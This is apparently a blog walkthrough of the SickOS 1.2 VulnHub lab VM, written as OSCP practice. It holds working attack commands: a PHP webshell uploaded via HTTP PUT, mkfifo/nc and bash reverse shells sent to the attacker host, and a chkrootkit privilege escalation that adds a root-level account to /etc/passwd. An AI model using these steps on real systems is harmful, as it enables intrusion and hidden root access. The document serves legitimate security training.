SickOS 1.2 Walkthrough (OSCP Prep)

SickOS 1.2 Walkthrough (OSCP Prep)

Introduction

Today we’ll be walking through the SickOS 1.2 virtual machine from VulnHub. This is an Ubuntu box that provides a very small attack surface and implements security measures that may leave you scratching your head at times. Overall this is a fun machine that will force you to think outside the box.


Host Discovery

First, we’ll locate our victim machine on the network with Arp-scan.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> sudo arp-scan -l
[sudo] password for ori0n:
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:fb:0b, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1       00:50:56:c0:00:08       VMware, Inc.
10.0.10.2       00:50:56:fb:3b:27       VMware, Inc.
10.0.10.126     00:0c:29:7e:0e:a9       VMware, Inc.
10.0.10.199     00:50:56:e6:c4:aa       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.977 seconds (129.49 hosts/sec). 4 responded

Add an entry to the /etc/hosts file so we won’t have to type the IP over and over again:

10.0.10.126     sickos

Scanning

We’ll run an initial port scan with RustScan to see what ports are open and listening on the target box.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> rustscan -a sickos -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.126:22
Open 10.0.10.126:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.126
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 22:17 CDT
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 22:17
Scanning 10.0.10.126 [2 ports]
Completed Ping Scan at 22:17, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 22:17
Scanning sickos (10.0.10.126) [2 ports]
Discovered open port 80/tcp on 10.0.10.126
Discovered open port 22/tcp on 10.0.10.126
Completed Connect Scan at 22:17, 0.00s elapsed (2 total ports)
Initiating Service scan at 22:17
Scanning 2 services on sickos (10.0.10.126)
Completed Service scan at 22:17, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.0.10.126.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 22:17
Completed NSE at 22:17, 0.00s elapsed
Nmap scan report for sickos (10.0.10.126)
Host is up, received syn-ack (0.00038s latency).
Scanned at 2021-08-12 22:17:14 CDT for 6s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack lighttpd 1.4.28
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds

The only service of real interest for the moment is the lighttpd server on port 80. Let’s check that out first.


Enumerating Port 80

Launch a browser and navigate to the SickOS machine.

Whoa…

Not much here. We take a look at the source and find nothing but a bunch of whitespace and one final line:

<!-- NOTHING IN HERE ///\\\ -->>>>

We’ll run a standard file/directory brute-force looking for any hidden goodies.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> gobuster dir -u http://sickos/ -w /wordlists/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://sickos/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /wordlists/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/08/12 23:17:20 Starting gobuster in directory enumeration mode
===============================================================
/test                 (Status: 301) [Size: 0] [--> http://sickos/test/]
/~sys~                (Status: 403) [Size: 345]

===============================================================
2021/08/12 23:17:25 Finished
===============================================================

We only find a directory: test. Let’s check it out:

Empty test directory

Nothing in here. Let’s see what Nikto can find…

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> nikto -h http://sickos | tee scans/nikto-80.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.10.126
+ Target Hostname:    sickos
+ Target Port:        80
+ Start Time:         2021-08-13 00:01:53 (GMT-5)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26026 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-08-13 00:02:57 (GMT-5) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Still nothing. There isn’t a lot to work with here. Let’s look for any useful Nmap scripts.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> find /usr/share/nmap/scripts | grep -i http

...

/usr/share/nmap/scripts/http-methods.nse

In a sea of text, we find the http-methods script. Let’s see what this gives us.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> nmap -p80 sickos --script "http-methods"
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-13 00:11 CDT
Nmap scan report for sickos (10.0.10.126)
Host is up (0.00046s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

Nmap done: 1 IP address (1 host up) scanned in 14.29 seconds

The OPTIONS method is available. Let’s take out trusty Curl.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl -I -X OPTIONS http://sickos/
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Content-type: text/html
Transfer-Encoding: chunked
Date: Fri, 13 Aug 2021 10:13:44 GMT
Server: lighttpd/1.4.28

Nothing here. What about that mysterious test directory?

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl -I -X OPTIONS http://sickos/test/
HTTP/1.1 200 OK
DAV: 1,2
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: OPTIONS, GET, HEAD, POST
Content-Length: 0
Date: Fri, 13 Aug 2021 10:14:33 GMT
Server: lighttpd/1.4.28

The HTTP PUT method is available. Can we upload files?

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl -I -X PUT http://sickos/test/testfile
HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Aug 2021 10:17:05 GMT
Server: lighttpd/1.4.28
We have file upload

Getting a Shell

Getting a shell should be trivial with a file upload vector. We’ll create a basic PHP webshell and upload it with Curl using the -T option.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> echo '<?php passthru($_GET["cmd"]) ?>' > shell.php

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl -I http://sickos/test/shell.php -T shell.php
HTTP/1.1 417 Expectation Failed
Content-Type: text/html
Content-Length: 363
Connection: close
Date: Fri, 13 Aug 2021 10:23:52 GMT
Server: lighttpd/1.4.28

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>417 - Expectation Failed</title>
 </head>
 <body>
  <h1>417 - Expectation Failed</h1>
 </body>
</html>

Now we get an annoying “Expectation Failed” error. A little Googling explains we need to clear the Expect HTTP header. Let’s try this again.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl -I http://sickos/test/shell.php -T shell.php -H 'Expect:'
HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Aug 2021 10:25:30 GMT
Server: lighttpd/1.4.28

Looks good! Now we’ll test the shell to make sure things are working as expected.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> curl "http://sickos/test/shell.php?cmd=id;ls+-l"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 4
-rw-r--r-- 1 www-data www-data 32 Aug 13 03:28 shell.php
-rw-r--r-- 1 www-data www-data  0 Aug 13 03:17 testfile

Bingo! Next, we’ll try to upgrade to an interactive shell. We’ll use SpyShell to make our lives easier in the meantime.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> spyshell -u http://sickos/test/shell.php --pretty-prompt
www-data@ubuntu$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu$ pwd
/var/www/test

Getting Interactive

We have remote shell access to the box, but webshells are clunky and lacking. We want to upgrade to a fully interactive shell. We’ll try the standard methods.

www-data@ubuntu$ bash -i &>/dev/10.0.10.10/4444 0>&1
bash: no job control in this shell
www-data@ubuntu:/var/www/test$ exit
www-data@ubuntu$ rm /tmp/f;mkfifo /tmp/f;bash < /tmp/f | nc 10.0.10.10 4444 > /tmp/f
^C

We can’t seem to get anything to come through. Let’s try pinging our attacker.

www-data@ubuntu$ ping -c1 10.0.10.10
ping: sendmsg: Operation not permitted
PING 10.0.10.10 (10.0.10.10) 56(84) bytes of data.

--- 10.0.10.10 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

We can’t ping? There must be a firewall in place.

www-data@ubuntu$ service ufw status
ufw start/running

Aha! UFW is running on the system. No doubt this is why we can’t get an outbound connection. But surely there are a few essential ports left open. Port 80 seemed blocked, but what about 443?

Set up our listener on the attacker:

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> sudo ncat -nlkvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Now send the shell:

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> spyshell -u http://sickos/test/shell.php --pretty-prompt
www-data@ubuntu$ rm /tmp/f;mkfifo /tmp/f;bash < /tmp/f | nc 10.0.10.10 443 > /tmp/f

And we get a shell!


Privilege Escalation

The first order of business will be upgrading our shell slightly with some Python magic, then it’s on to enumeration of the distro and kernel.

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$ cat /proc/version; echo ----; cat /etc/*-release
cat /proc/version; echo ----; cat /etc/*-release
Linux version 3.11.0-15-generic (buildd@akateko) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5) ) #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014
----
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.04
DISTRIB_CODENAME=precise
DISTRIB_DESCRIPTION="Ubuntu 12.04.4 LTS"
NAME="Ubuntu"
VERSION="12.04.4 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
VERSION_ID="12.04"

Ubuntu 12.04.4 running kernel 3.11 32-bit architecture. Searching for relevant exploits was a dead end.

The /root directory was unreadable, and the /home directory contained only one user directory, john, with nothing of interest.

Let’s check out the cron jobs.

www-data@ubuntu:/var/www/test$ cd /etc
cd /etc
www-data@ubuntu:/etc$ cat crontab
cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@ubuntu:/etc$ ls -la cron.daily
ls -la cron.daily
total 72
drwxr-xr-x  2 root root  4096 Apr 12  2016 .
drwxr-xr-x 84 root root  4096 Aug 12 14:58 ..
-rw-r--r--  1 root root   102 Jun 19  2012 .placeholder
-rwxr-xr-x  1 root root 15399 Nov 15  2013 apt
-rwxr-xr-x  1 root root   314 Apr 18  2013 aptitude
-rwxr-xr-x  1 root root   502 Mar 31  2012 bsdmainutils
-rwxr-xr-x  1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x  1 root root   256 Oct 14  2013 dpkg
-rwxr-xr-x  1 root root   338 Dec 20  2011 lighttpd
-rwxr-xr-x  1 root root   372 Oct  4  2011 logrotate
-rwxr-xr-x  1 root root  1365 Dec 28  2012 man-db
-rwxr-xr-x  1 root root   606 Aug 17  2011 mlocate
-rwxr-xr-x  1 root root   249 Sep 12  2012 passwd
-rwxr-xr-x  1 root root  2417 Jul  1  2011 popularity-contest
-rwxr-xr-x  1 root root  2947 Jun 19  2012 standard

The chkrootkit and lighttpd jobs look interesting. We’ll search for known exploits.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> searchsploit chkrootkit
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)         | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation                 | linux/local/33899.txt
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Well, well, well. What do we have here? Let’s read about the exploit with searchsploit -x linux/local/33899. Near the end of the file, we see the exploitation technique:

The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.

So if we create a bash script and place it in a file called update in the /tmp directory and set its executable permission, it will be run as root.

So what can we do with this? Many things. But how about we create ourselves an account with built-in root privileges?

To do this, we’ll append a line to /etc/passwd with a UID and GID of 0, effectively making our user account a second root account. First, we’ll need to generate a password hash. I’ll use the password pwn:

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> openssl passwd pwn
l1kaPwL6GGupI

Now we’ll create the update script and make it executable.

VERY IMPORTANT: Make sure to append to /etc/passwd with the >> operation. If you use the > operator, you WILL overwrite the file completely and nuke the system!

www-data@ubuntu:/var/www/test$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ echo 'echo ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd' > update
<0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd' > update
www-data@ubuntu:/tmp$ cat update
cat update
echo ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash >> /etc/passwd
www-data@ubuntu:/tmp$ chmod 755 update
chmod 755 update
www-data@ubuntu:/tmp$ tail -n2 /etc/passwd
tail -n2 /etc/passwd
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
ori0n:l1kaPwL6GGupI:0:0:Your local hacker guy:/tmp:/bin/bash

It looks like our user was added. Let’s try to SSH in.

(ori0n@apophis) --> [ ~/sickos12 ]
  ==> ssh ori0n@sickos
 .oooooo..o  o8o            oooo          .oooooo.                 .o        .oooo.
d8P'    `Y8  `"'            `888         d8P'  `Y8b              o888      .dP""Y88b
Y88bo.      oooo   .ooooo.   888  oooo  888      888  .oooo.o     888            ]8P'
 `"Y8888o.  `888  d88' `"Y8  888 .8P'   888      888 d88(  "8     888          .d8P'
     `"Y88b  888  888        888888.    888      888 `"Y88b.      888        .dP'
oo     .d8P  888  888   .o8  888 `88b.  `88b    d88' o.  )88b     888  .o. .oP     .o
8""88888P'  o888o `Y8bod8P' o888o o888o  `Y8bood8P'  8""888P'    o888o Y8P 8888888888

                                                                By @D4rk36
ori0n@sickos's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Apr 26 03:57:15 2016 from 192.168.0.100
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

Rooted! Let’s grab the flag.

root@ubuntu:~# cd /root
root@ubuntu:/root# ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:/root# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

Wrapping Up

Congratulations on rooting SickOS 1.2! I found this machine to be more challenging than the previous machines in the OSCP Prep series so far. The initial foothold required a lot of probing, while the firewall added a lot of frustration, but ultimately made for a more satisfying challenge.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.